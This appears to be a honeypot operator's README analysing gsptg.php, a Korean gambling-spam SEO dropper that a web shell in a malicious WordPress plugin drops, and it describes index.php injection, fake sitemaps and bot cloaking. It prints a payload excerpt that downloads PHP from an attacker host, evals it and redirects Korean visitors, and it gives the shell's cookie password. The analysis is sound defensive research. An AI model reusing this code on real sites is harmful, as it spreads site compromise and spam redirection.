Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

README.md

gsptg.php: Korean language Blackhat SEO tool

IP address 192.154.105.154 has insisted on trying to access ring.php URLs. Those accesses seem to always download a new piece of PHP, gsptg.php.

gsptg.php seems to try to convince web crawlers, spiders, search engines and bots to come back often, but it also sends users either referred by .kr domains, or using Korean language in their browsers off to new URLs.

Sucuri calls this Korean Gambling and Call Girl Spam. They seem to know a bit more about the "google-site-verification", and they've done a much better job of looking at what the cached PHP configuration contains.

Origin

The login_wall plugin (which is full of PHP malware) includes ring.php, a web shell. The only invocations I've seen of ring.php are to download gsptg.php.

Download

The download to my WordPress honey pot isn't particularly ordinary. I modified the WSO (Web Shell by oRb) component of my WordPress honey pot to recognize access via a URL ending in ring.php.

ring.php effectively has a password in a cookie named "_f_wp". This download had a cookie named "_f_wp" with a value "G0YgIaXqx", which allows the execution of ring.php.

An additional POST parameter named "fe" had a value of "upload". This parameter means ring.php should upload a file. The WSO component of my honey pot understands this, and saved the uploaded code. That code was to be named gsptg.php.

The uploaded file contains some obfuscated PHP.

Deobfuscation

All of the deobfuscation can be accomplished by changing an invocation of PHP's builtin eval to print, executing the PHP and saving the output in a new file.

I ended up pretty-printing the de-obfuscated code for readability.

  1. cp 192.154.105.154XLCpgV3KcffaYNVnWiywkAAAAAM.0.file dc1.php
  2. Hand-edit dc1.php, changing "eval" to "print".
  3. php dc1.php > dc2.php
  4. Pretty-print dc2.php, giving pp.dc2.php
  5. Hand-edit pp.dc2.php into f2.php so that it will run outside of an Apache mod_php context, and create file dc3.php.
  6. php f2.php - run the dropper. Use keyboard interrupt to stop the looping. See below.
  7. Hand-edit dc3.php, changing "eval" to "print".
  8. php dc3.php > dc4.php
  9. dc4.php is obscured similarly to the original gsptg.php. Change "eval" to "print"
  10. php dc4.php > dc5.php. dc5.php contains the PHP that would end up in index.php if gsptg.php ran in the correct environment. Maybe.
  11. Pretty printed dc5.php into pp.dc5.php for readability.

Analysis

The coding style of gsptg.php is decent, albeit somewhat uneven. Functions appear to be named according to two conventions:

  1. _get_temp_dir_mass() - snake_case with an odd leading underscore.
  2. isBot() and hashCode() - camelCase.

The functions named with leading underscores are exceedingly paranoid. They try every method of determining an answer known to man. They always return an answer. The camelCase functions seem more typical of PHP malware - a little sloppy, they'll work most of the time but fail miserably in some corner cases.

The payload code, which ends up in index.php, has the same ultra-paranoid-style functions, names all beginning with "_", and a couple of less-paranoid, more typical malware-ish functions named in camelCase.

Dropper

The attacker's file gsptg.php is actually little more than a dropper. The dropper starts by composing no more than 2 file names, both ending in "index.php". One path ends up as index.php in Apache's DocumentRoot directory. The optional second path ends up as index.php in the WordPress directory.

If either or both of the index.php files do not contain the string "shaputiangou1", the dropper writes some obfuscated PHP into the file. The dropper also creates an empty marker file named "shaputiangou.txt".

The string "shaputiangou1" exists in the obfuscated PHP to keep an index.php file on a compromised WordPress site from getting written to by another instance of the dropper more than once. This would imply that the login_wall plugin gets uploaded to a given compromised WordPress site more than once often enough for double-injecting to consistute an irritation.

I'm not sure what the empty file shaputiangou.txt does. Nothing else seems to reference it.

The dropper also appears to be fatally flawed. A PHP foreach loop over the file names it decides on, appears in the dropper twice. If the first foreach loop fails, the dropper repeats code that is identical to the first foreach loop, guaranteeing another failure. The second foreach loop could also easily fall into an infinite loop, if the dropper can't create a file named "shaputiangou.txt". A PHP while loop surrounds the second foreach loop, with a boolean loop test that always comes out as true.

Code put in index.php

The code written to one or more index.php files would execute its payload then execute WordPress via

@(require dirname(__FILE__) . "/wp-blog-header.php");

I'm not certain how Apache web server's mod_dir.so, would interact with the payload code. Certainly Apache would invoke the index.php file in the WordPress directory, which in turn would invoke WordPress. If you don't know that injected code exists, it probably appears that WordPress works perfectly fine.

The interaction with mod_dir.so would happen if the payload gets invoked as something other than / or index.php. The payload code performs different actions when invoked as different URLs. It's possible this is multipurpose malware, sometimes installed under file names other than index.php

Payload invoked as URI with sitemap.xml in it

If the URL it gets invoked by has "sitemap.xml" in it, the payload code composes a Google site map XML file.

I hacked the code out of payload.php that does this. I'm no expert at Google site maps, but the XML file it generates looks like it claims 100 randomly-named URLs are refreshed daily. At the very least, this should get sensible spiders (like, perhaps, Googlebot) to revisit the compromised WordPress site daily.

Payload invoke with URL that ends in "google16e3a357341375c6.html"

die('google-site-verification: google16e3a357341375c6.html');

This is a way to verify to Google that you own a particular site. The attacker(s) may get google analytics on sites were gsptg.php gets invoked this way.

The "google16e3a357341375c6.html" named shows up elsewhere on the web.

Referrer host name ends in ".kr" or Accept-Language has "ko" in it

If the invoking URL isn't "google16e3a357341375c6.html" or "sitemap.xml", the payload code looks at th referring site, and the language preference sent by the user's browser.

"ko" is "Korean", right?

if (strpos(strtolower(@$_SERVER['HTTP_REFERER']), ".kr") !== false || strpos(strtolower(@$_SERVER['HTTP_ACCEPT_LANGUAGE']), "ko") !== false) {
    $local_url = _local_url();
    $html = base64_decode(_get_between(_get_cache('http://god.sm79.xyz/api.php?g=gitt'), "->|", "|<-"));
    eval($html);
    $Data_arr = _get_static_arr($local_url . 'Data_arr', $Main_arr["data"]);
    $sc_arr = explode('|', _get_static_arr($local_url . "sitel1", $Data_arr['site']));
    die('<!DOCTYPE html><html><body><script>document.location=("' . @trim($sc_arr[0]) . '");</script></body></html>');
}

Apparently this sends back JavaScript that redirects the accessor's browser to some other URL. The other URL depends on what URL the payload is invoked by. Some PHP gets downloaded from http://god.sm79.xyz/api.php. A domain name gets chosen from that PHP via hashing the invoking URL. The PHP downloaded gets cached for re-use later.

The cached PHP is a very elaborate hash-of-hashes, but I believe that in the example PHP I downloaded, a Korean human would end up getting redirected to one of:

These are all hidden behind CloudFlare IP addresses. CloudFlare denied my access of the URLs.

Downloaded cached PHP

The payload code caches the PHP it downloads from http://god.sm79.xyz/api.php. It appears like it has a lot more info in it than the payload code uses.

User Agent indicates crawler/spider/bot

If a user's browser isn't referred to the payload by a .kr domain name, or the user's language preferences don't include Korean, the payload checks to see if the browser is actually a "bot".

function isBot()
{
    return isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|spider|mediapartners|slurp|patrol/i', $_SERVER['HTTP_USER_AGENT']);
}

A little weak, but it probably detects 80% of all crawlers/spiders/search engines. A bot could circumvent the check by not sending a User Agent string at all.

The first time the payload code decides a bot has accessed it, it downloads and caches PHP from the same URL the Korean-redirector section of the payload uses. This part of the code uses a different section of the downloaded, cached PHP.

god.sm79.xyz

The DNS name that the payload code downloads its cached config from is behind CloudFlare IP adresses:

Non-authoritative answer:
Name:	god.sm79.xyz
Address: 104.27.169.102
Name:	god.sm79.xyz
Address: 104.27.168.102
Name:	god.sm79.xyz
Address: 2606:4700:30::681b:a866
Name:	god.sm79.xyz
Address: 2606:4700:30::681b:a966

NetRange:       104.16.0.0 - 104.31.255.255
CIDR:           104.16.0.0/12
NetName:        CLOUDFLARENET
NetHandle:      NET-104-16-0-0-1
Parent:         NET104 (NET-104-0-0-0-0)
OriginAS:       AS13335
Organization:   Cloudflare, Inc. (CLOUD14)

GoDaddy provides domain name hosting, whatever that means for something behind CloudFlare.

Domain Name: SM79.XYZ
Registry Domain ID: D83669519-CNIC
Updated Date: 2019-03-17T15:11:03.0Z
Creation Date: 2018-11-17T05:38:35.0Z
Registry Expiry Date: 2019-11-17T23:59:59.0Z
Registrar: Go Daddy, LLC